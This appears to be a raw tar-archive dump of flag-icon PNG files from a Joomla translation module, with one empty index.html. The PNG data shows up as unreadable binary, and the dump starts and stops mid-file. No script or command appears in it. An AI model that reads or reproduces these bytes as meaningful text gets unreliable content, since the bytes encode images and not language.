^�C�a)("��8�J�)�J"Q$r�!�H"�C9$����0`����6f�k�w�{�g����*��]�z?��DY+~қ隩~U���W�Jh�������n�`
!B@�(���H�]]�C;w��L��;x� �&qKf�䤙���5�ٟ~{��
���t�]�C���6E/�-'���E���c&Q
���}׫�/s�� ��|�\~I�1\+�i4�a@�9�[Ov*f��!l.�(�T}���nn��q̹�@��P-�����X!~��ۭ��uA����V�ֳTj��	���vȥ����T<��R����zټ�Q���\��
�V�Ra�8[��+3_O"u��`��/A{Z�Kȗ��F�ޮ�Nb��|-�mh4Z������9�3͉�0>~`]�x�7}�𥉯L��.��öF^��J�+L�
@�hJv&�1�f�Ŋ̀]`�۲�H( ��#V�7V����M��gSpm�������M����m������$�gh�^��%����VHF����IG�=���IG�X�N����X!�T`%,��ĺe��/�ՙ埋;��}���~�@nM��"}�<�N~4�
Cva9�<�_��]�Z��\��u/�+2�V�����єtZ%޾<̣����s�h���,��H�ʜ�w�/2��RM����'.��W^d�f��|lA���6%�(�F�@�a���Ug�b�JI�nѸ�L!�f)�q��x��pPJ�qVCh��_�|�!;G ������
<��@�WTq�Or��bԞ��s{V$��y��s�l"��Ђ=�H)+B���aoz�L��(�n�5C�.qU�Z��X
@)E���4e��oB1���⎵
�N˥�ň�|�I�Ah�
�U�V�?��Yb�ڃ�]� Lw���5:���R�RA(�("F
;T�SDBuPn��p,��害4�z �Ǭ�Go���JJ�T<��h����R�;�f�-`,�
u���8������>&:Or&�P��p24Kw�"����|U���u�C�z1Uda
�T��LCDXd���ϑ
�b�ܺ�l�r%�@k��S�4��:ʩ���"
����ivċ<s��0����h��{��41������g�}��h�c�#4��������l�R� �Bk�S�n�[e��AS����l ��xmf�2��ד,�;�%��CO�Q~�)���LV�y��0���G���ؗ��2�ԃ0q�[w��X����V�0�Z�y<"jx�)���^S��7�4U�?����Z������b�.��G0
Iw�FՏR�&JHip�ԏ)A��~�_x��_3Φ��h�W,�ZA+�r��˝�K�*�/�A�tk���Ž��W�Z3/0��̉�Dz��"5v'���C�r����{�Q2�G��Qa����?{/�F⺴�*jXm�b��b���LF�,���u��Y����w��#�~�����g��vshv��D��j mո��S�:���ӯ�wyp��~��s:+��
�0Ⱥ6�|���}�g9UBk�*���W�'��<9��=sC(:ͅj�!I�=RV��p����Ͼ����<<�/�wM��w��֤�0���a���>��$LOi�hEɏ��<ZνQq����}��D��;��a�2��
��%��������rf�/�A�^��{M-�^��,��]VC)�a��<��{���'5���W�E���NH�]��f ^���������ѱwx}�^�����
+�k��T���|�WJBs<;�hG�'M_�̅J�{���Dv�D�g�+N3�Ύ�������8Y��/v/�QK
��J��(��.����,/O�u�V,�)x6o̍7}>�
���9�%jA�?R/[`�)����b�.2_Kr[r����C?��c]���B�e.�o�'
�8,�u�]I��J�IBُ1h9ry���¶=��I^�jU��H��c�?�	o��/Vٞ��	0��9:�͉�n▦I�����/8��T�e�UN��]�.9&+MU����&���v)��륎���DP7o�o�	�&��)�{��L%+w�IEND�B`�mod_gtranslate/tmpl/lang/48/haw.png000060400000002216150746170550013173 0ustar00�PNG


IHDR00W��sRGB���gAMA���a	pHYs�M+tEXtSoftwarepaint.net 4.0.12Ck��IDAThC�[LY�O�<l|37�������h���Vt1�JP���7\��D���^ P\�P�.[��jQ��P"k�m-tQ.���3�E�{�N�I��_�sf�O�;�7C0
Ud	��T�%�"KPE���,AY��ϡ�p?w���4Q!�׋d�ͭx��2�P��L��93�3�Z����lEX/�2����1<;�r����Ŝ��S��W@�J���ѩ.��� bS4;=ܤ�xCwY%*&x	�T�8��|1+��o�vu�w��މ�nnq\�wm�aM�-��/G������FLYr�_
L�C��
@sR:����:䪟]^� d���I��YӶ��	A���]/�c�{
l�I˩x���Z�~��|���l�n���``xE�֧�>9���~])H�W�0�Ѐ��0,�Ӗ��wv᩵�֦8���#`��Q����M�P�fn|��$H��dGtn���"��Y�ނ��\tiJne�
�m0�%M&�:��6$d�:��Q�K�ņ�D_TY���?a�~�q�e�1�g�V�����?%G��B��Y(��
���C��G�����⏊(ܷ8�At�x��]C��В���.$(�����F&q��Kl���6Y깄;���@��8o��Ra}�v[�Cw�U�V��6�.���PA7{	jS����6:'8�V%�G!㋐��2{ʫ��g�'�~���L��7t��	Eϰ,Tx�N�Q�����=�Yh�v@7/���J<n�`��\��w%�d�]�J��z��6�}�
FI8��)�w3�$�
�#|c���Q\R�����xB�_���F��q�|��g��w��lڜ�M܌�
L���>[�u��W=�BV7c�|xr,Bb�
����<'�'.t��B��Q����
|j~��g�
_�Y����@:TԘ��>u��#~Q�>c��(�Į�}y᱅��P�
��;KPE���,AY�*�Ud	��T�@^�̊0*IEND�B`�mod_gtranslate/tmpl/lang/48/eo.png000060400000001061150746170550013014 0ustar00�PNG


IHDR00W��sRGB���gAMA���a	pHYs_��tEXtSoftwarepaint.net 4.0.12Ck��IDAThC՗1KBa������\\�w���E�8:H�4��DCD�`A�-


� ���S^7?�;����#|�w<�u�j�dJ&�dJ&�dJ&�db��x�h�؁K-�0ӏ��6+=��h��c[���p�RK�L�,'՛��p�RK�G$ۯO�()�㔬7k����hY~-�v[��e1 {�
����7F
�׾��}s.����<(�4g��p�zh9C�NBz�=�u�;w����S728z魛�9s����E!�7�R������޺�,�F{�Y|.$}����P�H��/�~FOn�RK�G��Df�LO�/���.�D{�\j������;p�%P2%P2%P2%P2%P2%P2%P2%P2%�$�@��L@��L@��L@Ƀxߙ����zIEND�B`�mod_gtranslate/tmpl/lang/48/az.png000060400000002261150746170550013026 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F7IDATx��MlE�owm'%_8��@H��""�jo\H�+$p�B��DU�$.�*�H|I��r-�"��JS�@�4_vb���<��k�N\+<�������?�����#�J��G�K@���>Pؾf�X ��O}���ѿ��K�T�<��r����PpN�VY+UH/n"�[Wպ�V�Ѯ��Z�
����Xbc��f�n_��6鶽l����V�KՍq;H�Kl\&����(�D����b�b rDqF�\F	#C�L#k�$䨆�0ʆ����:���S��f@>g룐��Jh�fDB�/�b����R�������;�:\��V�w>���'����\%���֥�(������6%!�
C4�:�P����y�,��㬟�����b�%��H?�kQ�d����5��J��6�z�4='����Ǭ}zoh	|�������Nbn���5�:KG4
A�c�8��{��{�C�M��*�f��B2�ւ*hH���=�[/q��9��E$� HIHnu��Nj�ш
��a��"���߮'�o��Ɩ�SO�{���8������z�{�\N�环E$*S�u���p�TƮ�Ꮞ"}}��$'�~D?_!�6�?<��6����*$_Hj��>���rb�v�������������>�~6asG>΁�o���g���k��?���&>�J�X�P��J,�<+|H~�qF�?�R��+tkop����ʋ��9��(��WA	�]x�ףSs^5D��%�$�h��lz�=���k�f1l^�a}y���4��#A���01��d��cs^|�H�O�Ĺ.���+�����p>D&n�6K��sҢ]Z�:�f�Iښ�|8u��ШJb�{8׮d�	,z��Zb�v��Y<�G�ʧv��E!u>5
dM����f���8�-R��SʄI1�hb?�Mݵ��\j!S�h��'
I�s
@��v|� d�A�Ȑ�D�~����{3'��䠀��u2X���)`4c��~���k�J��{R���𯖿��zN�6�IEND�B`�mod_gtranslate/tmpl/lang/48/hi.png000060400000002174150746170550013017 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
H۶�1or��ӗ���_9��>zR1�"���Б���Ox�h�a�
H[��1M�<�-�3��LN-ѿ���}$o�!�&��/�
(�V�T@5�J����d���,��vT�
&��f{{��"�(���Q�ѵ.
�����B��"�ŒAG;��_���vJyse��C4
�;&Pu8Q��^]�i����9�*��յ5;��R�+���=�O�0^���pdZ���\�=���*(�@�(T>�Rw�Qh��
F|G%3B�9|(���a��g�_�)��K���ORn��&�&�&��T�b����sIEND�B`�mod_gtranslate/tmpl/lang/48/index.html000060400000000054150746170550013701 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_gtranslate/tmpl/lang/48/xh.png000060400000004057150746170550013040 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��{pU���}�
!J�i��L;!�q�X@���PA�-�vPa2JhGjqtJ"�����P[J�H��th�@I	�{s_g��?���M�y؆�4kf�9s�:���^k��Zkng2�ͩ@;��w0���v"	�- ��	U1�I���&���)P���%���j�-��ۦ?}�R��<�=�Z	
�����d���tY��G����+��wG	@��+��Rr�}%<oec�˟�r��}p�N�����xv�K��
�Z�0�i
B��nl�Qr�h�����4@����Q���qt��5^7��[Nga�������#���ի,�"�Ltx�hPu/�Ņ���-%��j(���`��6\���m��p�Ic����9T(;�
����ĸ�x'hB�ҁh���G����셯�,fstHHH䉇��~9�6l��f@7�
}J
��}t߶%��#���g�f�C'4�-D�V���A1�{��ܻ_��s�R�u��@��M �6�5�4��ԂR=#q�D�&�Dq��>u��?@����+�9R�Y�9�BUT����"H�{�:W�D��>
��JS�+s�x�7x,�8����"��[�^d��)5���	 �Ӧ,LYYI��/Cz��1�ĖO<�tpr��Lʼn��r�5!�`4^�������3�I:~���� ��c
TU%�ˋ�?''�Xzz:n��Q#��������M����Ц���۶����ȝ�Gz���ɭ4l�3��HLD����=��?p�c]�t���6"�+]�B�I�=�<,(�_�+p�b��$�tbΓ��0�ް/on�_��B�t���:������m gÌ��~b���6�V`j0E�+�C��4�����\\�TshMiȍ:�����?�ua]�i
���R�r-�O7�[��z��j�ac��ȴ���
"t(=ᷡ{��L��������!}��H��55M"޺����\���
d�[
�>���u*��5��b�V@�qf}$���8[��qcL̳HM����>Ѹ�7>1�M���G3#���jՇ�CN�ʹ�
�>a��A�?�֥ _��jzs��t�7!�qPJ�8d���ůٌ����q����Ge(�h�R��P: ����#�L����#X�g���*��]����FJ��a8�s�WIM��K��3M�T�ԗ�m���cN,�lX �Q]�i!=������2XYd��m���+4��IH{5�Ɓӑ�B��HrZW��V�腉^ �F�V�r��xu���1x�uX��
�
	u����aZ���x���_���8ض�(E��E�c&���?{Cq䤂�*�������/�[��_�����…[X�jwۺP��4�7�R(�7�`�2��w,Z�p�!v�� ��hG2u܏X����'F�^Ξ=�p�l��۶RS�^H)ɢ_�1{����`��i�B$��::�LjXwt�Nќ�|���g��o���OrrB$QmӮ�T�>x�ⱉ�:��Ps⬂Ħ<q�S%�dȽ�x�5��ܗ����|y	�m��x]D�I��3��5��%��(+����-�ϋ���3��ͭ\8n3xHK��岱,j�9�e
<�<:���g��-?}32Y����W����­H�HNv]����i�="IH|-����Me��K�\.;�7l�II.��n\�m�P5K�>:uJ��_3�᩼W���6r�������R�h�4������+���Ì�X�n��;�s�I�p�y��I
s���N�y��/1���u�)yK)+�D׮Ɉ�ל�ϋ��TW7jJ�3�(|����l��}Ȫջ�RoSS�%9����Nh.�E�x)���F~�F��Էh���^����IEND�B`�mod_gtranslate/tmpl/lang/48/ky.png000060400000003112150746170550013033 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��K�\G������Ӟf<~$������d�#;P>l��H�@HaC6HH��,X�k ) ���0����l3�陞��:�Ž�i�۱�'i1G*ݪ��uοΫ�\13�sN����"�6��E�˗�au�k�ҥKE�n�{[������55^��\	���}޿7X@3Є�����M�o��Qtxެ�{��]3v�LĦ��YD03�YxR�>����NZs��ќ���j���VVXU=��s�<f|�5����6 a�d�G����5P`e��1�0�4Q0��$#������ʣi@�*����ˆ�	i_��`��
�ėZ��}J	+�٬)},��b� ��g�6�=�w@���:
���G��(dE���]�
�����S��\tWHw��G��t\R_f�
�&�N�
(�X1����}Ⱦ�p#{1�}%aC!ީ�Z��J�����?�P^�Hݟ��I)�J=0���|J�A+ßɔ�o��.l��M�	��`�;�_��W��%�&ï9�MA�pJN �E!K	X>���RY�V�-(�-Һ���i��l�����Soɞ��MOxV(�� y<��aI0���"�"�|���6�_"��Zfoz\V�;�ޛ����7 ��	���<��n�8�ڊ��ϔ�o;���o8��{�}�%��/+;og�v�e����5Z���11b1N�Jhi�_L���r���r�_ω�[� ����=õ#�oT�_)ŵD�tEy�E���DWȔi��;�#{l�J��z	�����7rv���B8���}�E�^`�E,��Rѝ��o��d��<Z��rp��Ow6���xB3�J���x�h}9���fHKI[�S���x� �	��m�����Q]7�ZC�x���Z�>�OѬ�	�و���ßN��T­*�l�-)�9�����Vc^[`S��Ɖk
$E��~�>Xa�s�©7�%�����i-�:���U�_VV4�\w�w�6hnS��Ԁ��y��z���
I��� ����~{��L$�����6�?\`�;O�9���1�m ~R��Aj��e��ߠ	:MJ��4�����	�����.���{���w"���'ރ�˯%�)(�z���P��6�P��-�Ф�*�/�-p]c�WGk�V�z^��"P��Q�E��B�B��A˚�3Cq�e╕NPǓY+�iܲQ},��8��A���'bm��5��Ѝ�oH�p��j�)�s3i�=��
l(�e#����@���#�8��anws���'+{<N�ysRܫ�� 5��Q�>(���%l��E[Z}�4+�ѭ�Ik3n��'�C5��;��lv|�y����~Ul�40�s`dB�n��]�38�e���3��8\��L�
�P^:�<�
`W���8p�J���$�>uIEND�B`�mod_gtranslate/tmpl/lang/48/en-us.png000060400000002115150746170550013441 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���k[U�?'I$uIl�*�&�����@e/��P؋�?�+E��Hk�/D-�Е���:�1D_(�Q�X_���
��nU�$M�������ִ�'��8���ܓ�{��y�<�
�An!޺�����k���#@���7~��'nh_s��+� !��ԩc��?ʅ�
:�>��_��k���gΜ7&&�cs�@kn�s4厇���k�_9�ߪ���1��$��"�Ķ��͞cff�[K�͞cv���x�lv�ٙew=oe'�y��)���M=��/�@���_7|�^��*��W����
YОwG����G !\lGa�6KKSLO��+\��6��5}�G���~�'}��k���wS,nw,
��u}�+Ǽ�#���c!Ǒ���ic�6�/?��r��=_�C�E6MaE�u3�P�&'O�l���(��c�÷'5��i�����Wg��-��Ç��	����8�q��[[��1��;��e����ǍBRJ�U�z�`ee���W}�*�?�(�"o��d �y�H&�V͎1�+Zè*�8�[��-�n��~w�����!�_d<3��\~������9O�rY.�H&3�f�V}�Է�0X6<��2�N�`t��/.v$�\j5���E�r�fu��I=����^�(?>P�[J&���~�H��T�h&�r��/�
5H�������2p��N"�ȷ��	 �8�
���R��C�׋����'bZ(�
�Ѣ����	@�
PR5
���W�ZuW�{^��������T(�i �W�+�{T�r�걝1��w�Rm6E�g�(G6�ܺA�|�V�A4J`q���Zr�Xo/j��C��m�͗���P�O!��
1�����~ ��R��Dp��-atm0����f��p6�%�������5H��E�K}@@����{t�.��IEND�B`�mod_gtranslate/tmpl/lang/48/ms.png000060400000003047150746170550013036 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��OlW�?of���Y�w�$��ڱ]�?�
-�?E���T@q. �	�
�@��+�
�#��	�ҔC)�I��(%�8)�cc���w׻3o��^۱[�hWh��hF��y�}��FXkI�8$\�� �4�ɼW*=ᎎ��(|�{/�;9ᯖ�wd����[cy���ǙkA���G��ʧ�n|����Z��2ƀ֖�jlk�P�G��1vzc`z���R+9�:8�nK�Ϸ@�ϳ)^Ny�"_��o<s��No �ëo�2}��V��m4Q�ǣ@��3K� ���E*M�BXJ�
���w(��y��o.NR������*��lD�լmv�뒬ײ{�V_�q��_?Z>�����W����EF�(R����\���d�n�_��@�Ȥ4���\��c�,���\���:�o� �jD.2�C�J��U�Rb���R#�abp�с,��Ʃ5��d�S�
�/V���XX�i�c�L���k;�P�1�A�P�PjB�8;>��!Ke���0f��k(�,�ep��?��T�3tҥZ���
�
����8�ҋ���ȴB(�Ԍ�Z�"�[�����X�P31��GFHy
��$��c����rs���R�c	|#"hU�P*�(�'["#E(�؀>�Bj�វ���_rD�<X�����|�hv���v<�
�Pѐ��ݔ��ȦA�y��A<���]�3�
�a�k��\xs���pD�@f�A�s�
�J#k��!�-�FDj.�,����C�����(W��� ��jOM����Z�a�D�������L���.\�(l��qh���6BE#Լze��5�][|�3�?<�o�tJsu�@]zh#�xe��ɩR�7�v�586`Kƽc��+��"��J�"��i~�۳`������ǧB���,�e�����\����������r���;߉��R[��!���?��-��'٨f��2��+�P�� Dm-�z��i�fϞk��;���jʯ/���{y���k|��y��\��g�N���o\�RO��| =G��I���ʛ���[y�V&���|�=���
V�L��DF�����[*���s�>S�L	x�=�dc+�K�f�X����9<|�̇��V�T"�����f|v��j��$3�]t��x���6(�j�g�0��j����4�T*Q9E��8Ţ�%�z�f/�+�o�&�lͫ���I�l��Y5��{�z=�8�-�GmG�=ābkO\�Ք�e�sU��n:=�8��ʁZ��\L�������{0��D�=T����H����|p�?�	��|�B�۬��_@<�����	�b�8.���$�ٿ
�+�?/�$IT��c���O�?��"�C�IEND�B`�mod_gtranslate/tmpl/lang/48/mt.png000060400000001545150746170550013040 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��Mo1@��NҔ�JH�B%8T���H��8sFQ�BTz	NHЦm�&�=Ҕm��6�+2��jm��=3����Pd�\f3��@P9zB��jfii=ZYY� ��Pʾ?}�����
~hom�nwPJ1W.S�s{l%�����f����Usd>'��֍eP>�z	E��P�ϕ�SO]K@<{P2#�Zi�+_r��4v<�Tn��A���r�!�pp�q���-.�)�F���]*Q�#��0�s$�e�:�r���мu���9lcL��Vi%	���W�N�%���I���s=;D�Z�/�m�aMb��X�Su0_���o����j�+�(�Ț��wvQ�\�2��It-�=�%*��y(�^��zj�{\{��heƙ�n�8ǧ��ɹ��w�r�C�h�Egk��.�帬G��9S"~�O5I.9[V ��yl��ɓG$��@kp��(J|g�
�8�@�(�R�@8�n�>��@�(����4���:}��)��7�=���\6:��N� ���;q����W ��a�V�	�)�k�o�5dٔ�}��-��A�6����}��c@�9����R��R�(�zQH7��m��r�f���
�p|���T�Px��?�b�|���#O��:�����
�1v�~�4��C��)�:�\-��6���F�����jvS?�������~�z��IEND�B`�mod_gtranslate/tmpl/lang/48/sd.png000060400000002650150746170550013024 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F.IDATx��klE���Q���Z�p�"KS���	j�DBl ���j�#�ɤ(_��h4!!�@$h�&<���mڊ�i��� ��/Z�ݻ��.��ٻwC{6���9gf�sΙsfWH)�Ȥ0�i�$��;8��>�H�N KJyͪ��֏߾��T'�����E�����@��4�t���G�J$%�n�Yđ��EJH$99�8ř,�!��0��|�2�� 4ʇBB ��"3!�|w�߬뺎4tl�X�p
D�1�CWZ��f,R5C����ۿ��hv5�j[������7���B3���HC�w��l���-f������"��?���Հ/�K�����ظb՟�Υ�Kq��R�0��OMܿKu��W��y�/_���{l-�-��Sy��%j��pƝdedR��+��+n�k,�`ެb6�~US9�=�P�oO�\>�����g;�G�M����*(l^S�@���BGWG\'(,��>���F�+���i|��Q.^���P0�j��O�v��"���gG�)oχS�g�z���0=��3g!Y��\�w�t�f𩾨P��<e����s�U_t�L-S�il;K�G���p���}�=�H$����F�@��z�L�d���v�|C��K�9��u��q�3���ȷ$�t'5��i����)��Ao~�|����d���9��ٹ�����	Kù� ��|���kI.����f*��JeGM���6{�d^�؁SqX��Vt3$@��/r�ǽ��d)��mŐ2�/R�jQGpJ�!%R���a֥Y7��s
��T&�{�lY]���#�#�ܬ�L�-o�90
�LX�aHZ��>��W��[�א��=b2�<��%��T��B�I0@����.����*#f�+�UWT�繚�>.w���'p�{ok�7M�/����ʕ�(��aY�Ct�FGc�ӍSq���D�~����v[�X�>�yP|o��l{ⅰ�o(�^�o�!��f!����"��\��b6��RPP�~��D0̼š
�.2FAŽ�yzweܼ&'#���gS0-!{��cѳ�~�)�G�ÈD��I�@�w��Cgs���-]CŃ�(󔒛��"��C�]>ϑ��8t�K�-�8#4�K։�PW_OAc[#��2ov	).7��=oK=Wz�X���l4)�Tu��Ե֏탮H�2�U��ts�����l�@fZ��4���cI`��<�_�t`!�7����M��2��O0���?��&L������-ƃ:hIEND�B`�mod_gtranslate/tmpl/lang/48/yi.png000060400000002134150746170550013034 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��_h[e�_�MnҴ���s�X�lk�)U�)�����ž���/C��Qѽ
'{� (�e�	�v5��V+m�&M����>�v�+�k����s���=�|�9�'�RxY|x\�U��;�.��м�tggD��vimmm��+�f���io����@��-��'%~��c�t'���-J7g!��Bp��ԦT�O�k�s-�e��~���*1�T
ۑ؎�ėw\�\"*H��H,�X�D�R��z&��"%@��+1m�v=`�>\)���@\)5��UH�Q�V��\E�_�Rs&�����b�jaޒ���o\M������Q�n܄��3|?4���Ϲ��HNd+W�-���Μ�����M8�3�]$Wp�;��d�H�O�.Ha�!\�g��o�5�8�9��-1�)�{~'�w4�-ؼ�D�ζGO0������[�v�S2ž������A!xt�&N~;�D��/c�8����}�&�z`��
A�Z����R�4��2��DVE��Q�>�[S�X��p�G�NdU���m
����_{�3�>�R����P9��|����{�:�盁�U�s���L�~f'/�_�Ui7��B�6�R�^�_�8q�.f�-���΂�44�~z�#�%x�΍�8=D��$��Z� ���8#�vs��x%���.3�LS��A?��"�-���ȅ�4A�G�Ơ`:���h�W�� �DӴ��m�7]H��*�qW��wiRmz�+�G*�Z^8����\�w\���m�z������z-x`G�ۚ�����=��Uz�'�V���Z�'��_�C8���vU��X����,�$������>����+��/�N[���Нh�R������;-���0BL��X��c�%���gD���%;����e�����B\o%j!1>33�F=�L&C4�Ѓ`vv֋GC���N��c�O���:�wO`9Q���T����5oPѹ���IEND�B`�mod_gtranslate/tmpl/lang/48/th.png000060400000001242150746170550013025 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F(IDATx���n�@��u�4�����GT.\8"ޢN�7N��������&����v�1v��#��#E����~��3�c��X����7�`��ZV)p���3��������j�z�����?L��|*B��˧qps��^u��%M�_}�C'�N�KKkR�����E���t�lӭu��!�E��	�Q_�� ����9i�Yigs7���ԋ�W�"�Ad�<R��1���}$�n:@
�
�Yd��j�a��ӆ��"��/��/�"�,Wb&� �\yV���7'�+J4�_6�]�ۣ�ZOB�r�=3c�y�qUR��^Lm�a:�V@��<3p��dsc�!	Q2'"h0P%s��$/akb�{"���á��d��dӍJu8��H�ĥ�#Y��?�1@�Ԝ	9�(���phjE�h4*�+���2s����
XH>=~�x�.6��Ʉ�,�f&�R���)-{����\��{rp`�P/��N-%��g�}c��
|t���nWWK��\����z�*?�z��AI�IEND�B`�mod_gtranslate/tmpl/lang/48/pt.png000060400000003405150746170550013040 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���oW�?gfgǗ]���NH�&qb�(uT%q[T	E\T���""H��@�.���J�qS���QpQ%i���8��K��w������a�����.�,|����9������%"l�f���&�M��`n|�HM~
h{����1�s/��+�m/�ؙrF���<`�������7r)�Em�� 	���kA�s�O�#E@%�[z����D�r9���jd"1Db�H.�:B�?F��Au��ꃬ�L��HCT�#`�!�!����V��u��D!H��M��e�ՊYS�"�I���"OW"@�?
t��Ƭ�A�����D��
#�l2%����)AI�|�O
���}v�JTw�p������{"� I
i1xa��w�3��%Ac03�G�3�&��
)�mL��I�F+R���m�0�	W�C;��z��~���妟��}W8z�:�t��{�'��yZ~�L˄�40Q1�q��)���^�2�����g�������L[@H�T���]���(��ϲ�:��q���T38�������"͖���a��!?>���	�K+���=F]<Ղ�o>V&��{ޡ��[X/dp'#
�@�R
D5ף�uI_��e�x�
0۷�ie�!=�V��gO�b�U���R8 �\n�Sw�K��<�6��Ae��U�a�]M��
�!����s|��%���Giz��'�P�g�W���0��=K�e��&�]r��G=�x���d�䛪\��xb�f����#��"�L=}U����"UlLHR)'�1�e_�V��[�U���}<��D��)�qn��.Y��v�������g��#7�-4�>UF==���+Z�����vI��AD�=B��0>ks�V:�r9�����KL&g}ޙ(3i�Y��Ci�E骢FDMӘ#)���
YT޸T�4y�‡�3d���=e-�<z�?_a��(��$s��z�����U��m0�YH3q:m�(�����c�V~1���-�����}�j��J�����S��C�ʴry�"�]�"U���5ʶ=`-Ld�2&6����?���/m=��}bb�&���wF��Xa�+�����&�d�C�H��X�3vl�Yb��c�Y�/��z	�XX'I�@�'�-�����-DF�:����p���E�� @�jie��[��	�q�M��E�k(�|�SJ�KZ�<���	&.�p���~~��,$sԙ\�S�yi�u���>��ݴ�u������T�ѮiZ�5J�k��B�Y���c�yk�>�v�,�}�����$EI����'ex��gz��r�[���=o�6r���	ƒ�W�eh��մIM-|��ޖ�ѺV/z`��Q����P�[|}�9���Q��Z:3��_rɞH�sV�\_��W�S5
,�?WNP�����]�Bh�_=�6�eTm�����I��tZ�����ܵ:�T�oN�鼡�U��1҉y@�Yպ�Ί���v��f��j9@ml5
%
��e���d2�%o0_(�y���zۯ��7��o���l|�H����N�&�M�����b�$�����IEND�B`�mod_gtranslate/tmpl/lang/48/ps.png000060400000004153150746170550013040 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx��[�]W�k�}.93��dK�ĉ)��Ij.��քV_J�-H� �A�7/O*BQK5�O�|�RR�E--���`KtHsi'�L39ə�s��k�χ}[{���9
�5p�>{�Z�����}k+�nw�X���|��~�M�a�>x��⨻��}�Q�b�T~O���
����5H����5T�'��K�������r��4WO��K�]J�[J�ȖV��bRyw�l�v��d4��ch���d�!J�\�S�����a$"ɺL+�z���k�� x����,I����d�F�<Т�Fk]�u��(�d?SD�=��Ƥ,q�Jښ4
�X�J���Vc�u�5�(���x�.$�T�:�:�o��=�2�DI��K�jژ\ɍ(���h�R�U��D��̉��'U�(����[���k2�Q���-�t!P��<�3v`��""a�cca�� A�*�K���Y�%KՐ���8��;Ʈ��u�q-`������o�0�S���]'��sX*�j�b���:ˆ�@����OIU�{>��
�لz����DW�b]��"�QɼeU$�j�Z�-`�0�G᭝@BM|�
���E��w�$��54��@�����J����0bʆ�<�qXk�z#Y@��aE���wm�
z�2qa�yxw���mإN2OA�cG�T��6�#���t�]z��,�D�z�9�3gi��*5<�`�‹���91l�L�,�p���㨔�I9?��(Q�**�!.�����X�ԲR"Վ�釬~��͛��e$�hz����2��~��	��'l���˿��}��y��k�$4�+zA
DTō��X�n[k���T���L���s������Էne��?�5��G�R߾���_�u�n�}|j5�;��/�J�qs�K����=�l�Q��ƶ�����^�Cƞx�`|���kt��=�;w0��ӈ/4��Ç�.��`j
x>�S���2#��B�{��Gk	��H��S�w#����SO�8��C~�U�Gm�~zG�QkMB/D�Hs�{��3����'�@��,[�Z;���ߧ�{��;���/�ط�4�O�6�A��؅zo�`�K_!���&����!�_�ii ��VI���p��[6c.�M�?Ê�|�!j{�61���n����<����_G5j�vl':�7�\H%i�.|_JŜ"a#���x��������	��c�௛�ٚ���W�qL�2�l2��4�����Y�9���*W�Nc��)��B���؝l!�ݹw��_@5��a���,|�넽��	j�m�?�w�>��/<O4{|��I�8�+�$�%֦,���B^��	���5�����������L��W�Qa�M��O�5�t~�KZ?�i��~�H��T��5����$�vA�`q�Ѵ�k�>�m�T~Yd��R�;mn��'�܉��������Il��tn_�L�3,��(�c� �&�N0��Sb"��%{��4�b�&hmт$%�M3��%�:s� "���gV߸I��OR[7�YZB��#(l�M�C���(���P��Љ��9�KY�J�($
��R-d�)eâ	)��T��\_,-�@�[������ԃ:�y�Q?���>�Z�J�=/�V�z6T�-�B�Z|���wa,В2C)���%���3�UO}^����ʹ�Ks���a�[9�|�ﳩk
�cV�)T�?��9W��N����p�t5P
/?3J�S�<G��'��Uz���:5�V�;y�����`$	�tӁ��
k�Q��;�����lw�r��N�S
���=}��ke;z�������+`J��U���NlܹYo��T�L������[`�U	��fq�@JB+��
������f'�d:#vd�N'���M�"�a,(��"OL��%P�΍�@9�=A~�W���{�]����
��J_/M��w���ZyS�`�
����4E�ˈu�IEND�B`�mod_gtranslate/tmpl/lang/48/ta.png000060400000002174150746170550013023 0ustar00�PNG


IHDR00W��	pHYs�� cHRMz%������u0�`:�o�_�FIDATx��MlU�/��j�؉'$�4�R�� rD)7R����!����.p�ސZzAB�"!��)H"%�6m��	*m��nHm���nd�,��iw�����̼U"����K@�����2�`�E��ḙL����Eh�{eՏ_��=&G���}��5�=g��#&4���/7W:7Uq/��k�x4�znE�� `�u�㖪*'��7���[m�j}զ�*�����K����mA9rhl�-~��`�Y��N�
���W[�C�1u�)BT�����n�"h���

���1J��-
���5b}eM0l��@q���ɍ��"[�-&h��ZI+ -"O?�����e��E�:��I(hzY)5�y4��[���\Zfho'7�E��;�N�#v����W8~����������ױ�H$ȉϦi��9tpp{Z�v4���e�j�/��ė󌝙c��2/<�S篱^��YzF���*#���m͹���^��G�b��E��JFx�=|3��'��_Fv��twD�_�23w��Z�?�b~1Ǖ�92����Ü���R����ҵ<�w���%4y��4ݝ;ik
3����\��tx��íG��a�p���t��T�d"BG"�p:E�}'�������Ѩ����sP���k�Gx��o�~�ޮ(��LD8v�g�0�X�S
